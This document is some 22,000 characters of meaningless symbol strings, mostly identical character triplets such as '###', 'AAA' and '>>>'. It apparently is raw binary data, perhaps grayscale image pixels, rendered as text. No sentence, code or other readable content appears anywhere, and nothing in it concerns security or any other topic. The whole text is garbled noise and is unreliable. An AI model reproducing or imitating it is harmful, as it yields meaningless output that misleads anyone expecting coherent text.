222000%%%###"""###(((,,,,,,)))### ###"""&&&'''$$$'''...333000///333333...)))!!!###***,,,+++)))(((%%%''',,,333:::@@@AAAAAA888222444$$$######$$$DDDCCC@@@>>>IIIGGG===:::999:::@@@DDDDDDAAA:::777777666===BBBNNNGGGCCC===999<<>><<<999222---)))'''(((***,,,,,,***((($$$###)))///333666444555666555888:::EEELLLLLLHHH+++)))''',,,***)))!!!(((///---IIIGGG<<>><<<<<>>DDDJJJPPPSSSUUUXXX]]]YYYMMMKKKQQQKKK???;;;999333333222  666777AAAEEEGGGIII???>>>999777666555333,,,$$$""""""$$$***///888BBB===555333111000444999<<>>111777111&&&"""   """&&&***,,,000444;;;;;;999:::<<>>999@@@===<<>>===<<<999777888555111+++***222444***%%%&&&((('''///>>>CCC@@@AAABBBCCCHHHJJJCCC???DDDGGGKKKOOO666222000,,,***%%%...111888BBB111555++++++&&&"""!!!###"""!!!(((888===:::;;;<<<>>>666---'''$$$""" $$$&&&###$$$(((+++((('''(((...111888CCC222555444)))111777777...,,,------((($$$$$$"""''')))...555444333666777???>>>777555888444AAAFFF"""%%%'''$$$###"""FFFHHHDDD@@@::::::BBBEEE:::666777999999AAAPPPUUUSSSTTTUUUGGGAAA>>>===;;;;;;???BBB>>>???AAALLLRRRQQQSSSVVVUUUPPPNNNGGGLLLQQQRRRNNNGGGHHHWWWSSSOOOMMMIIIEEEBBB===888555444555444888BBB   %%%"""%%%&&&666...000000...000777555333    111444222>>>999555555666444,,,&&& $$$000888---%%%$$$))))))222AAABBB:::BBBDDDGGGJJJMMMLLLHHHCCCHHHOOO888444///,,,'''!!!  ...///555666)))'''"""'''!!! &&&###""",,,;;;<<<444<<<777AAA???222'''""" !!!"""999((( ######!!!###***...///555666222+++---<<<888444333///***)))$$$ ***$$$###***...,,,222333333222777<<>>???888666777@@@MMMMMMKKK777888::::::333...+++!!!$$$ 666666222666...!!! %%%+++...888&&&)))///000,,,$$$###$$$ ======444(((...777444///333666666222333222111@@@333)))&&&222888000###"""###!!! &&&///666444333555777===:::AAAEEE@@@EEEIIIIII@@@555;;;DDD@@@<<<@@@111///+++NNNSSSSSSWWW,,,''' ???<<<===???::::::>>>555000///333666===DDDGGGQQQRRRLLLKKKGGG>>>888777===???;;;;;;BBBIIIMMMJJJRRRUUUQQQUUUZZZYYY!!!$$$ """JJJIIIIIIBBBDDDFFFPPPKKKPPPRRRLLLFFF???;;;<<<555444777888666666666777 $$$)))###"""'''LLLPPPJJJJJJKKKCCC@@@>>>999999999222444666@@@;;;???BBB<<<666///+++,,,   444+++***///222000000///222666111***&&&###$$$"""%%%)))///555>>>GGGEEEBBB>>>BBBMMMOOO666666777888888666000,,,!!!))))))***"""---,,,,,,000***###!!!"""(((333+++(((%%%%%%######""")))555:::>>>BBB===<<<>>>666333111------,,,&&&(((***555000555777111+++%%%!!!### %%%***......+++***+++...000000...*** ,,,:::CCCHHHAAA>>>888555AAAFFFJJJNNNIIIHHHJJJBBB@@@=== +++***+++WWWVVVSSSQQQQQQ%%%'''???>>>BBBFFFAAA;;;666444555333111666:::AAAGGGQQQZZZXXX@@@>>>:::999>>>===<<<===<<>>@@@GGGMMMQQQLLLFFF@@@:::;;;;;;888888888BBBCCC===666444333)))---%%%!!! """###GGGWWWaaaUUUKKKFFFCCC===777666111,,,---000777===@@@<<<666000***++++++))) ******++++++...666444///+++''''''***,,,,,,+++$$$%%%,,,000555BBBIIIFFFBBBBBBFFF333333111///,,,***(((---+++///???333***&&&###)))///)))$$$ &&&(((""""""%%%%%%$$$>>>BBBBBB:::111$$$###222333555666999IIISSSGGG>>>999666000******%%% """$$$+++111666111+++&&& !!!""")))***%%%%%%)))******,,,...+++&&&!!!******111...***+++...333333111///,,,***DDDJJJHHHLLLLLLEEE<<<000  )))---%%%???>>>???AAABBBFFFVVV___SSSJJJFFFCCC,,,333777OOONNNNNNMMMPPPJJJ EEEDDD>>>;;;777777:::<<<>>><<<666666>>>CCCHHHUUU\\\@@@999555888>>>@@@BBBCCC<<>>777 %%%'''  &&&,,,111///...+++!!!AAAJJJdddgggUUUIIIDDDDDDCCC===666555777:::AAA===666444333000(((%%%***111/// !!! %%%''' 777+++(((+++)))000111'''%%%%%%(((......222666...++++++,,,333>>>AAA@@@???)))(((***,,,+++%%%&&&***444(((#########'''$$$%%%###$$$444111---######///&&&<<>>HHHbbbfffTTTHHHCCCCCC !!!444---...555HHHKKKOOOHHHIIIIIICCCBBB$$$???@@@777555555888??????CCCHHH???======>>>FFFQQQ:::777999999:::AAAAAAMMMOOOUUU[[[```^^^]]][[[QQQOOO)))BBBFFF444(((#########"""RRRWWWXXXNNNMMMSSSSSSIIIPPPJJJBBB>>>BBB@@@:::EEEOOOKKKGGGIIIQQQPPPHHHBBB::: BBB$$$"""***,,,)))%%%%%%???===CCCFFFEEEAAAFFFBBBAAAGGGHHH======CCCCCC999???:::222...222000***444>>>;;;###""" ---222333;;;===999888222***"""$$$+++111333...///888???AAA???999  ######!!!%%% %%%"""!!!'''...&&&"""&&&$$$(((333///+++---555444,,,'''&&&###!!!111888:::===>>>000+++===???;;;888888000...555999888333888666555:::;;;111000777777---444///'''###(((&&& ***555111---000888777///***### ***---***))),,,000---333777   (((***((("""  ??????===;;;BBBDDDHHHIII$$$"""***,,,)))%%%%%%===;;;AAAEEEDDD???EEEBBB  ###EEE>>>888000...888<<<888XXXZZZSSSMMMEEEPPPJJJDDD """$$$ HHHCCC:::222///000555<<>>:::@@@CCC>>>AAANNNVVVVVVOOORRRTTTQQQRRRIIIBBB???$$$### """""" 777:::JJJXXXTTTNNNFFFAAAFFFJJJGGG;;;;;;BBBAAA777555333...)))000333...111>>>EEE'''!!!$$$&&&$$$$$$222444222111222///...+++$$$ ###------***111===AAAAAA;;;!!! 333---%%%!!!&&&(((&&&!!!$$$&&&"""%%%222999999333666888666666---))) ::::::666444444+++...444555222///(((,,,<<>>"""&&&$$$$$$### """""" HHHWWWSSSMMMEEEAAA ''''''DDDGGGHHHFFFGGG???;;;@@@888333666GGGGGGLLLJJJDDDCCC===<<<>>>:::444//////000111444>>>???<<>>888///&&&&&&%%%######!!!$$$,,,---111666<<<>>>:::999777:::===DDDBBB888......---)))%%%+++555 $$$))),,,'''!!!!!!222***(((...222<<>>$$$   )))LLLOOOKKKIIIJJJ(((((("""'''KKKHHHGGGEEEGGGKKKRRRPPPFFF<<<===<<<777FFF???===888999???777000444 EEEBBB888555666666333999DDDDDDHHHNNNTTTVVVUUUOOOGGGCCCDDDJJJRRRNNNGGGEEEIIINNNOOONNNLLL )))---///+++*********%%%---]]]VVVMMMFFF<<<999;;;;;;@@@:::555333>>>OOOXXXXXX___aaaZZZLLLPPPOOOVVVWWW___333---333///&&&KKKDDDAAAAAA======???BBBFFFIIINNNLLLOOOMMMMMMEEE===555,,,)))++++++000***$$$###...>>>GGGHHHOOOQQQJJJ""""""((()))222333---333///&&&000///***### !!!---GGGEEE444+++...+++"""(((333444999???///...***$$$%%%)))###---+++...---,,,###"""222;;;<<>>000444444:::;;;DDDEEE***111>>>111111---000111//////000...000333888;;;@@@???BBB@@@@@@888000((( $$$$$$444===>>>EEEHHHAAA222666666===>>>GGGIIICCCHHHEEE<<<444&&&$$$111...,,, """(((///...***$$$@@@DDD>>>888555111000666555888<<>>EEEOOOMMMMMMIIIMMMNNNLLLLLLLLL &&&)))---+++...---,,,%%%'''SSSPPPTTTcccSSS>>>>>>BBBFFFFFFGGGPPPOOOOOORRRQQQIIIDDDEEEOOORRRLLLLLLOOOKKK<<<@@@>>>BBBAAA777888BBB@@@;;;BBBCCC@@@DDDLLLGGGCCC???CCCSSSBBB......222666555777@@@>>>>>>BBB@@@999333555!!!$$$"""222------333---'''...BBB???222***%%%'''000555999&&&***$$$%%%%%%%%%''' (((***---222$$$+++'''###%%%))))))***333222222666444---''')))222666000000333///---### (((***---???///---222111'''(((******,,,333111---444555222666>>>:::666222666FFF666"""&&&******,,,555444444888666///)))+++555999333333666333444444///111+++%%%///333333***''' """&&&***$$$%%%???888666888@@@BBB777...///<<>>@@@:::333>>><<<888//////......///,,,111999***PPPCCC;;;555000000999BBBHHHLLLPPPTTTOOOOOOOOOOOOIIIMMMIIIKKKIIINNNMMMDDDEEEGGGGGG!!!!!!###$$$+++'''###(((UUUPPPPPP___aaaRRRHHH@@@>>>BBBEEEDDDDDDFFFIIIBBB===DDDLLLMMMEEECCCCCCFFFLLL  ;;;AAAHHHMMMNNNCCC999333222===;;;@@@GGGFFFDDDDDDJJJHHHDDD??????NNNPPPAAA888000...111555444333555999222---444<<<===  ...,,,,,,888888444555888000&&&!!!"""###&&&(((***333%%%(((,,,***###%%%)))###!!!"""!!!!!!777$$$***(((%%%###!!!$$$(((''''''))),,,&&&!!!'''000111)))''''''***111:::444+++***!!!"""!!!!!!:::333000888===>>>333)))$$$###'''...,,,111999888666777<<<:::777222222BBBDDD555,,,$$$###&&&***)))(((***...(((###***222333,,,******---444555((($$$"""!!!$$$&&&%%%'''  444777???CCCGGGDDD>>>@@@DDD>>>555555===>>>=========EEEGGGAAACCCAAAAAACCCGGGEEE>>><<>>888:::>>>AAA;;;999???<<<999::: 222FFFLLLLLLNNNGGGBBB>>>:::FFFJJJIIIIIIMMMLLLKKKKKKCCC:::;;;DDDLLLPPPJJJAAA777;;;>>>>>>===:::444...((()))...111+++   444000111111$$$&&&'''(((((($$$$$$###&&&***---*********...111///'''###'''###???>>>***###***...111222111...'''""""""$$$###!!!333888333(((&&&===<<<;;;555<<<<<<>>>777222...+++...777<<<::::::??????======555,,,---777@@@000>>>555+++///333333222///)))$$$ %%%'''""" &&&$$$!!!"""!!! 888333+++222DDDIIILLLJJJBBB>>>BBB>>>333111999555444:::999???EEEDDDGGGJJJMMMLLLIIIGGGGGGAAAHHHHHHJJJCCC>>>;;;777%%%***((((((,,,,,,******###DDDMMMQQQKKKCCC999===@@@AAA  222///000,,,&&&&&&''')))))),,,///111PPPJJJ???444333444444444===HHHHHHCCC  444444777;;;???<<<<<>>999111222555<<<555000QQQHHHCCCLLLQQQNNNTTT444))) <<<777BBBMMMKKKGGG222)))555EEEJJJMMMKKKAAA>>>AAACCCFFFHHHEEE>>>666333444...))) """111+++(((+++"""&&&(((+++***,,,,,,***''')))'''((((((&&&###%%%%%%###@@@>>>''' 111444777999<<<999111)))''''''""" 333666666333)))&&&LLLBBBAAACCCAAA888222<<>>DDDFFF;;;222222---(((444???===999%%%(((888>>>...???555222555888:::===;;;333+++))))))$$$###)))+++---...000777AAABBBBBBAAA===@@@@@@>>>444111888666444777888>>>GGGPPPQQQUUUZZZXXXNNNMMMOOOLLLDDD>>>HHHMMMJJJQQQSSSGGG>>> """,,,+++''' &&&KKKNNNLLLBBB@@@CCC%%%'''***'''  %%%%%%%%%(((((((((,,,222111IIIGGG:::...111888???FFFMMMMMMFFF???999 <<<;;;======<<<999;;;===>>>@@@GGGeeejjjhhh^^^]]]___]]]TTTOOOXXX^^^[[[aaacccXXXOOOOOO""",,,+++'''  EEEVVVaaa___ZZZSSSPPPMMMJJJJJJCCCAAABBBFFFNNNOOOGGGFFFTTTWWWGGG999111 ===QQQNNNUUURRRUUUWWW^^^>>>888222)))%%%&&&BBBDDDAAA???+++(((444EEEPPPNNNJJJBBB???<<<:::999333111222555===>>>777666CCCFFF  '''""""""!!!%%%'''---999???;;;000)))!!!!!!""""""### '''555666333111  ///---,,,&&&$$$%%%)))111222+++)))777:::***+++(((+++++++++000333 MMMNNNOOOLLLDDD@@@>>>EEEBBBEEEGGGNNNOOOJJJDDD;;;777888444666333111'''999111///===777333000......'''&&&'''+++333444---,,,:::===--- %%%%%%(((...000,,,***111555333555555666:::>>>;;;666666888...000<<>>AAADDDCCC<<<111444>>>:::EEEMMMLLLHHH@@@666000  """(((LLLBBB;;;333333444555888===iiijjjlllhhh```]]][[[aaa^^^aaadddkkklllgggaaaXXXUUU&&&"""$$$!!! NNNQQQUUUXXXRRRGGGFFFEEEAAA??????AAAGGGNNNMMMDDD???@@@>>>444000PPPXXXHHHBBB@@@FFFNNN000444999;;;444***333:::666///'''(((333===@@@DDDGGGAAA666666444111...///000666===<<<333...000...$$$$$$"""!!!###***&&& !!!%%%)))...222===BBB===666...$$$ ###""" %%%222'''000%%%,,,((("""'''$$$""""""$$$***000000'''"""###"""$$$((('''"""666CCC<<<@@@EEEOOORRROOOGGG777111///666???BBBFFFKKKMMMFFF<<<((($$$,,,'''"""%%%!!!777;;;555******)))&&&###$$$&&&,,,333222)))%%%&&&(((+++,,,///333222)))---@@@NNNBBB444000888777222666888BBBHHHKKKQQQ[[[^^^[[[SSSCCC===;;;CCCKKKNNNSSSWWWYYYSSSIII666!!!%%%((("""GGGFFFEEEGGGJJJOOOOOONNN===000000222777KKKOOOPPPPPPMMMHHH<<< %%%***%%%HHH???666111333666555333[[[aaakkkoookkkcccTTTNNNLLLTTT\\\___ccchhhjjjcccZZZ!!!NNNKKKJJJKKKIII???>>>::::::>>>>>>>>>CCCHHHBBB:::444222555444111  NNNUUUBBB888666:::>>>"""'''******%%%///...---,,,666>>>@@@===:::999;;;888///...******.........333888222)))###"""%%%###  """"""$$$$$$&&&...---  ###%%%???@@@<<<:::444...(((''''''%%%&&& &&&...555:::000>>>:::333)))!!! ((( !!!!!!!!!&&&+++%%%!!!$$$&&&666444000444>>>HHHKKKJJJDDD111'''%%%)))......444999<<<<<<777((( (((000333,,,...,,,###"""#########((($$$,,,///)))111AAAIIIPPPUUULLLEEEAAA::::::??????;;;@@@JJJTTTWWWVVVPPP===444222666;;;;;;@@@EEEHHHIIIDDD555--- !!!    """"""$$$HHHHHHOOOSSS[[[WWWNNN888******...777EEEIIIHHHMMMUUUTTTHHH=== ###%%%((()))%%%###FFF@@@;;;::::::888999QQQZZZdddgggfff```NNNDDDBBBFFFKKKKKKQQQVVVYYYZZZTTTFFF !!!;;;<<<)))KKKKKKQQQRRROOOCCC===@@@@@@FFFOOORRROOOEEECCCAAA444555;;;  JJJCCCCCCEEEBBB;;; ;;;777666777888[[[\\\HHH>>>:::;;;@@@AAA>>>333---000000666>>>AAA>>>555333111$$$%%%++++++  &&&---555444'''###$$$%%%  )))'''#########$$$&&&   '''******000>>>999@@@555///---)))((()))***MMMNNN ###)))222555222(((&&&$$$ ---000777;;;+++------///333444888;;;888111333555111*** &&&+++)))***---,,,(((''')))***MMMNNN)))...444555222'''!!!$$$%%%;;;AAAEEEEEELLLYYYUUUGGG<<<777666888888;;;???@@@DDDGGGDDD>>>???AAA===777+++,,,333888666777::::::666555;;;<<<)))!!!### !!!$$$!!!  &&&---555444---FFFVVVOOOFFF666))))))+++///AAABBB>>>FFFMMMJJJLLLMMM///  )))'''#########$$$BBB===:::777555999PPPQQQUUUXXXUUUNNNOOORRRNNNGGG<<<===DDDHHHGGGHHHJJJJJJ;;;<<<)))"""***;;;>>>EEEMMMVVVLLLEEEFFFPPPOOONNNOOONNNGGGKKKSSSRRRCCC@@@DDDDDDOOOKKKJJJ###555???AAA222%%%AAAIII000+++...444<<>>===>>>===666:::CCCAAA333000222---::::::!!!!!!((()))'''#########"""&&&&&& 111222((( %%%***>>>888444555///''''''111444$$$444<<<'''"""222111222111***---666555&&&###&&&!!!%%%...AAACCC000+++'''!!!%%%+++...+++%%%***333>>>::::::444...'''$$$(((///,,,&&&&&&000333$$$333<<< !!!'''///:::///)))BBB:::@@@EEEDDD???;;;<<<777333...111777999888222777???KKKGGGFFF@@@;;;444111555<<<:::333333===@@@111"""*** '''"""!!! !!! &&&$$$---::::::///+++***IIIFFFEEE777111444AAABBB@@@FFFHHHHHHNNNPPPMMMKKKEEE######"""&&&&&& ===999444000///HHHJJJHHHBBBGGGPPP---***WWWQQQLLLDDDAAAEEEMMMJJJDDDCCCNNN""""""*** @@@JJJIIIEEEPPPUUUSSSVVVUUUSSSSSSVVV]]]]]]SSSDDD???(((888///&&&MMMCCCJJJAAA???)))))) :::<<<===555---333 (((///999999555???DDDBBBEEEDDDBBBCCCEEEMMMLLLBBB333...888;;;(((888///&&&!!! 333888999---,,,///000)))$$$###"""###(((***%%%&&&(((((( '''+++'''"""######;;;<<<<<<@@@:::(((+++...///''' %%%'''!!!&&&$$$'''&&&%%%666888@@@@@@666'''"""+++/// )))777;;;<<<666***!!!!!!%%%!!!&&&222999000...---::::::111***'''&&&&&&***---...&&&%%% ###,,,,,,>>>AAACCCBBBGGGAAA666---***...222---+++333>>>EEE<<<::::::GGGGGG===777444444444888;;;<<<444,,, !!!&&&$$$'''&&&%%%%%%(((//////%%%(((888///&&&!!! 333888999---'''!!!!!!:::777444HHHYYYSSSTTTXXXSSSRRRVVVWWWPPPKKKJJJJJJJJJOOO***%%%&&&(((((('''###;;;444...>>>BBB===;;;!!!((()))XXXNNNHHHEEEDDDDDDHHHKKK  DDDCCCJJJTTTYYYWWWOOOPPPUUUWWWYYYXXXTTTFFF444999!!!$$$%%%///AAA888)))VVV222333---  666BBB???999:::HHH<<< 444222999CCCHHHFFF>>>???DDDFFFHHHGGGDDD666$$$)))222666===$$$%%%///AAA888)))***888111+++***'''&&& !!! 000888EEEPPPIII===,,,'''444111+++,,,;;;...!!!%%%***))) """&&&)));;;:::777)))%%%)))&&&)))%%%""" %%%+++///LLLEEE999(((((((((!!!"""))),,,(((%%%!!!&&&333000***,,,:::... &&&KKKWWWPPPDDD444***%%%""""""(((555555---...)))'''+++666999666222---)))444@@@===888))) %%%***))) """&&&)))******''' !!!$$$%%%///AAA888)))***888111+++***'''&&&%%% 555___nnndddWWWPPPFFFEEEHHHIIILLLMMMSSSXXXOOOTTT111---+++++++++,,,((("""999777222333999 JJJFFFBBB>>>:::DDDQQQNNN)))  $$$SSSZZZ]]]ZZZVVVYYYYYYZZZYYYVVVPPPEEE444>>>000888333---777111&&&TTT''''''''' 666999777888666AAA $$$BBBIIILLLIIIEEEHHHHHHIIIHHHEEE???444$$$...111888MMM888333---777111&&&((())) ---,,,''' ,,,777EEENNNHHH???222)))'''+++)))***'''333"""$$$***---+++'''******+++***(((333'''!!!%%%++++++...///+++%%%&&&IIICCC:::...&&&""" %%%***&&&!!!&&&***((()))'''333 OOOFFF:::222(((!!!###...,,,"""###""" """222777444...)))(((444888""" $$$$$$***---+++'''******+++***(((###000888333---777111&&&((())) ---,,,''' !!! 888eee___OOOAAA666<<>>999999DDDHHHFFF""" %%%&&&""")))***]]]^^^___\\\[[[YYY[[[^^^QQQCCCDDDIII###---888AAA:::888333///)))&&&''' 666<<>>AAADDDFFFBBB444"""%%%'''...111777555666000777***...///000...---***,,,000$$$&&&,,,,,,333$$$%%%+++!!! ???:::===???BBB>>>000!!!%%%######&&&---111666444$$$%%%NNNJJJ<<<***"""!!!"""###!!!######"""!!!%%%'''...333000111 %%%###$$$%%%&&&""")))***...///000...---***,,,000$$$###---888AAA:::888333///)))     777<<<(((%%%IIIDDDCCCFFFIIIQQQYYYWWWWWWYYYXXXVVVVVV******,,,---222222(((777>>>CCCAAABBBDDDKKKOOO%%%###$$$%%%&&& )))...,,,+++//////VVVUUUNNNRRR```XXX+++222777999======444---***$$$:::  ===444111555555<<< )))LLLJJJHHHLLLMMMEEEDDD===AAAPPPGGGHHHOOOTTTUUU======444---***$$$  <<<>>>:::999;;;<<>>  ###...***BBBHHHMMMCCC@@@GGGOOOVVVTTTQQQPPPTTTUUUSSS===:::222...+++ !!!  '''(((&&&+++111//////---&&&"""$$$%%%(((---111---+++---,,, ######:::<<<888000---000666555;;;AAA>>>555---333;;;DDD111***$$$///...((($$$***...000000,,,)))###...***%%%+++///&&&###***222999888444333///+++&&&!!!%%%///,,, (((+++))),,,222111777===:::222***000888AAA///(((!!!######&&&...---'''###)))FFF>>>777<<>>???<<<555555;;;"""...---444777111%%%$$$(((======BBBHHHNNNQQQVVVHHH@@@???===!!! ,,,$$$ %%%)))''')))"""""" !!!###$$$!!!###)))000777:::)))***000111?????????BBBAAA;;;444888BBBFFF===555@@@CCCCCC999:::<<<<<<---000111---&&&&&&---333///%%%)))$$$((( !!!&&&+++222444:::+++000777777666AAACCC:::888777>>>===777000444>>>BBB999111===@@@@@@666777:::999<<<444((( ###,,,,,,...000MMMMMMCCCDDDGGGFFFIII$$$ """...---444777111%%%$$$((( !!!&&&+++222444:::,,,%%%$$$"""!!! ,,,$$$ %%%)))''')))"""""" !!!IIIKKKGGGEEEJJJPPPWWW^^^aaacccXXXIII"""---000000'''(((******,,,RRRFFF>>>BBBKKKJJJMMMOOO"""!!!(((******444666777>>>888)))$$$&&&(((((($$$ FFFFFFLLLQQQYYYZZZ---222***"""DDD 555222333555888:::!!!(((******444666777>>>888)))$$$&&&(((((($$$ ;;;@@@HHHIIIIIINNNFFF===777222###!!! ,,,'''***(((%%% !!!%%%'''%%%""")))((('''***444000BBBBBBBBBBBB@@@<<<999999:::AAA777777BBBDDD>>>>>><<<666000'''%%%)))&&&###$$$''')))+++222888;;;;;;&&&(((((($$$ $$$,,,------222(((111???======EEEIIIHHHFFFCCC777444555666===333333>>>AAA:::;;;999333...$$$###(((""" ***(((%%%EEE???:::222000 !!!(((******444666777>>>888)))$$$&&&(((((($$$ $$$,,,------222***"""###!!! ,,,'''***(((%%% !!!%%%MMMKKKEEEIIIOOONNNMMMQQQ```YYYDDD000111++++++)))###FFFAAA999777>>>HHHFFFCCCAAA!!!(((***,,,111111000222555777999???999555...111000%%%EEENNNOOONNNVVVWWW,,,---))) 888  666:::666333888???,,,111111000222555777999???999555...111000%%% !!!!!!EEEFFFHHHIIIEEE999---&&&&&& """///333""",,,###""" !!!$$$""")))***333333,,,%%%$$$!!!"""***  IIIFFFAAA???AAA???AAA>>>@@@DDDDDDBBB%%%(((000333777333((($$$ $$$'''+++'''%%%)))111===BBBBBBAAACCC111000%%% !!!!!!)))***,,,---)))111>>>AAAAAAEEEGGGFFFDDDCCC999;;;??????===!!!$$$,,,///444///%%%!!!'''"""333...******  ,,,111111000222555777999???999555...111000%%% !!!!!!)))***,,,OOOKKK???333 """///333""",,,###""" !!!$$$""")))***333333,,,%%%$$$!!!"""***GGG555111;;;:::222,,,...000 %%%  :::555111111111888FFFAAAEEEIII ,,,111111&&&)))---000555;;;888:::AAABBB@@@666444111%%%QQQUUUSSSOOOPPPWWW555111///,,, ,,,  :::>>>:::...333>>>&&&)))---000555;;;888:::AAABBB@@@666444111%%%$$$(((%%%"""###FFFQQQMMMKKKGGG999***$$$ """***,,,""" ******111CCC>>>555555000---''' %%%&&&!!!???BBBCCCBBB@@@???>>>;;;AAALLLPPPHHH&&&444---###"""+++///+++ $$$000777999>>>AAAEEE444111%%%$$$(((%%%"""###***555111+++(((...:::?????????===777999666===GGGKKKDDD!!!111))) +++###&&& &&&)))---000555;;;888:::AAABBB@@@666444111%%%$$$(((%%%"""DDDKKKVVVRRRQQQNNN@@@111+++,,,...333>>>EEE***,,,""" ******111CCC>>>555555000---''' %%%&&&!!!+++((())))))---///666===777 999NNNGGG>>>777444777666111111333222:::JJJ???HHHMMMIII===CCCOOOVVV)))---!!!)))111;;;???===>>>CCCIIIJJJJJJIIICCC>>>;;;\\\VVVZZZ[[[YYY^^^666999::::::222"""!!!'''---///""" ***666PPPBBB333---///777!!!)))111;;;???===>>>CCCIIIJJJJJJIIICCC>>>;;;...)))---...IIIMMMRRRUUUVVVUUUNNN===;;;'''---///++++++''' !!! ---:::777333777888444///'''!!! CCCAAA@@@AAA???>>>@@@BBBEEEIIIKKK:::HHHAAA444$$$!!!(((,,,222999AAAKKKOOOIIICCC>>>;;;...)))---...,,,111666999...000///777:::777999;;;???===>>>AAAEEEFFF555 ***666000###!!!)))111;;;???===>>>CCCIIIJJJJJJIIICCC>>>;;;...IIINNNOOONNNSSSXXX[[[\\\\\\TTTCCCCCCIIIOOORRRNNNNNNJJJ>>> !!! ---:::777333777888444///'''!!! (((((((((///888@@@>>>000333<<<!!!///333444000...///000//////333:::888<<>>^^^``````^^^^^^aaa555555333////// '''444555111GGGOOOMMMJJJLLL???999!!!---777888999@@@EEEGGGFFFIIIIIIFFF>>>000333333NNNMMMPPPQQQQQQNNNKKKKKK;;;AAAOOO555111000000///"""!!!***,,,,,,333RRRRRROOOKKKEEE<<<...!!!FFFDDDCCCEEEDDD???===888888<<<666###999AAA???;;;===111***(((,,,...111===HHHIIIFFF>>>000333333111111444555555///222000333555...,,,111<<<@@@333333777222(((///...***,,, !!!---777888999@@@EEEGGGFFFIIIIIIFFF___QQQTTTTTTRRRRRRUUUWWWWWWTTTQQQQQQBBBIIIVVVXXXSSSSSSSSSRRRFFF:::777!!!***,,,,,,333::::::777333---%%% (((***,,,000000///===EEEFFF""".........//////////////////000555===BBBEEEVVV^^^\\\ZZZ\\\OOOIIIGGG$$$)))(((%%%000222...222666:::999BBBIIIJJJBBBeeekkkfff```YYY[[[000,,,'''***111$$$"""+++,,,*** 999AAAPPPTTT\\\NNN===$$$)))(((%%%000222...222666:::999BBBIIIJJJBBB777===999OOOGGGKKKLLLHHHBBBEEEMMM>>>===FFF,,,***...***$$$%%%$$$%%%---+++###777<<<>>>AAAIIIJJJNNNLLLIIIKKKKKKHHHGGGFFF555###;;;AAAHHHLLLMMMJJJ>>>000$$$***333AAAFFFMMM@@@///---444999888555@@@BBBJJJBBB777===999333+++///000,,,'''222111+++&&&***222111+++,,,444 """000555===///$$$)))(((%%%000222...222666:::999BBBIIIjjjbbbXXX^^^ZZZTTTLLLPPPQQQNNNHHHLLLSSSEEEDDDMMMNNNLLLQQQLLLFFFGGGGGGAAA???III---+++######%%%)))111111666444111333333111///... ---000222111333CCCPPPPPPMMM$$$%%%$$$............///////////////000999EEEFFF>>>HHHQQQ___ccclll^^^NNNLLL$$$)))"""+++444444+++//////,,,)))***///111999CCCIIIHHHvvvlllgggiiiaaaZZZ111***$$$...222***$$$$$$***000666JJJQQQRRRIII>>>"""+++444444+++//////,,,)))***///111999CCCIIIHHHHHH???WWWXXXPPPJJJMMMEEE:::???IIIMMMDDD>>>>>>***---$$$111555;;;IIIIIISSSKKKAAADDDLLLDDDCCCHHHPPPPPPNNNFFF@@@>>>>>>===???FFF777%%%+++;;;,,,""";;;>>>BBBHHHMMMQQQAAA((("""$$$!!!'''<<>>FFFAAA@@@@@@???BBBBBB===:::<<>>444,,,$$$000999<<<...$$$666 &&&%%%***:::555222888@@@AAA???@@@>>>===DDDDDDNNNPPPIIIKKKEEE===<<<777111555...222)))"""!!!%%%'''222333)))333"""!!! )))%%%"""(((000000///000...---444444---333111222;;;```___bbbjjjkkkfff^^^]]]XXXRRRWWWPPPFFFGGGaaaaaaOOOBBB@@@GGG>>>>>><<<<<>>JJJUUUWWWSSSLLLQQQUUU""""""!!! ***######666>>>EEEJJJNNNLLLFFFAAA...000222///...000000///000888AAACCCBBBEEEGGGFFF???>>>AAAIIITTT\\\000444444:::999555222---444111+++***///---'''&&&,,,666kkkjjjnnnqqqkkkmmm???===;;;777000++++++666@@@AAA666<<<>>>888555999DDDKKK444:::999555222---444111+++***///---'''&&&,,,666>>>YYY]]]```ZZZ\\\[[[YYYWWWRRRKKKFFFFFFPPP[[[\\\SSSLLLFFFGGGDDD;;;===NNNNNNPPPOOOLLLBBB222---///333...333999===888444555:::000&&&'''+++)))&&&222+++  ;;;666%%%%%% %%%---///)))&&&***666<<>>@@@???===;;;///---,,,***///111---,,,,,,$$$(((666222!!!""""""&&&&&&,,,444:::999555222---444111+++***///---'''FFFLLLVVV^^^^^^bbbddd___aaa```===;;;777000+++MMMXXXcccddd[[[UUUOOOPPPMMMFFFGGGKKKDDDNNNYYYYYY[[[[[[XXXNNN???:::"""&&&"""###;;;AAADDDIIILLLJJJIII???222777444333AAA<<>>555777666888>>>MMMAAA>>>===;;;>>>======111000111777;;;;;;999999777444000'''333DDDIII??? ***///FFFFFF """###"""'''///111777;;;<<<999///&&&(((''')))---111...***EEEGGGOOO___aaa___]]]\\\>>>======111000444$$$)))...///999^^^YYYYYYTTTOOOQQQTTTQQQZZZ]]]UUUXXX```WWWEEEBBB???==="""$$$"""'''***### :::;;;FFFMMMSSSVVV]]]>>>999666333IIINNNdddeeeLLLJJJNNNKKKPPPQQQFFFBBBQQQUUU^^^```fff;;;<<<;;;AAABBB===222---))) +++111111///dddppptttvvvuuulll???>>>555...******...+++%%%)))&&&666AAA/////////333---***555BBBNNNQQQZZZAAABBB===222---))) +++444111222---111666666333444111------777;;;///%%%;;; """---333666<<>>555...333>>>EEEFFFEEEBBB???@@@???444///;;;AAADDDIIIJJJ777!!!(((444DDDOOO $$$///333;;;AAABBB===222---))) +++QQQQQQOOOWWWdddgggjjjjjj@@@???>>>555...******...+++%%%)))666//////VVVWWWOOOGGGKKK]]]\\\TTTRRROOOFFF===CCCAAA???@@@!!!%%% ;;;IIILLLOOOZZZaaaiiiUUU@@@999<<>>@@@111#########:::DDD888:::999888777777999777...888CCCGGG@@@999555666<<<(((666>>><<<>>>CCC@@@999555<<>>JJJCCC;;;===DDDFFF***'''''' !!!$$$***555BBBXXXZZZ^^^\\\SSSPPP***///,,,((((((...,,,(((<<<777CCCCCC333+++$$$***,,,...222666;;;333555<<<>>>555,,,,,,555--- ###&&&...111777CCCPPPTTTVVV[[[YYYPPPMMM!!!   ---)))&&&(((MMMRRRTTTTTTTTTTTTVVVTTT+++$$$***,,,...222666333(((//////222:::444444888555OOOMMMOOOMMMKKKKKKIIIDDDEEE======BBBDDDFFF!!!'''---111+++!!!)))]]]VVVOOOQQQXXXaaannnsssuuuzzzxxxpppllllllcccWWWNNNIII===333111111333333444<<>>!!! &&&!!!  